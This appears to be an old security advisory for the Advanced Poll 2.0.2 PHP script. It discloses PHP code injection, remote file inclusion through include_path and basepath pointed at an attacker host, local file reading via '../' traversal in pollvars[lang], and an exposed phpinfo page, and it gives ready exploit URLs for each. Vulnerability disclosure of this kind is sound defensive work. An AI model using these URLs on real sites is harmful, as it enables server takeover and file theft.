Informations : 같같같같같같� Language : PHP Product : Advanced Poll Version : 2.0.2 Textfile Website : http://www.proxy2.de Problems : - PHP Code Injection - File Include - Phpinfo PHP Code/Location : 같같같같같같같같같� comments.php : ------------------------------------------------------------------------------------------------------ [...] $register_poll_vars = array("id","template_set","action"); for ($i=0;$i PHP Info ------------------------- Exploits : 같같같같 - if magic_quotes_gpc=OFF : http://[target]/comments.php?id=";[PHPCODE]//&template_set=";[PHPCODE]//&action=";[PHPCODE]// or with a POST form or cookies. - This will only work if register_globals=OFF (this is not an error...) : http://[target]/booth.php?include_path=http://[attacker] (or with png.php, poll_ssi.php, popup.php) will include the files : http://[attacker]/include/config.inc.php and http://[attacker]/include/class_poll.php - This will work if register_globals=OFF OR ON : http://[target]/admin/common.inc.php?basepath=http://[attacker] will include the file http://[attacker]/lang/english.php. The same hole can be found, in the /admin/ directory, in the files : - index.php - admin_tpl_new.php - admin_tpl_misc_new.php - admin_templates_misc.php - admin_templates.php - admin_stats.php - admin_settings.php - admin_preview.php - admin_password.php - admin_logout.php - admin_license.php - admin_help.php - admin_embed.php - admin_edit.php - admin_comment.php but only with register_globals=OFF. And, with register_globals=OFF and with all the files above again, the url http://[target]/admin/common.inc.php?base_path=..&pollvars[lang]=../../../file/to/view will include the file http://[target]/admin/../../../file/to/view - http://[target]/misc/info.php will show the phpinfo(). Solution/More details : 같같같같같같같같같같 Both patch and details can be found on http://www.phpsecure.info . Credits : 같같같같 frog-m@n http://www.phpsecure.info _________________________________________________________________ Hotmail: votre e-mail gratuit ! http://www.fr.msn.be/hotmail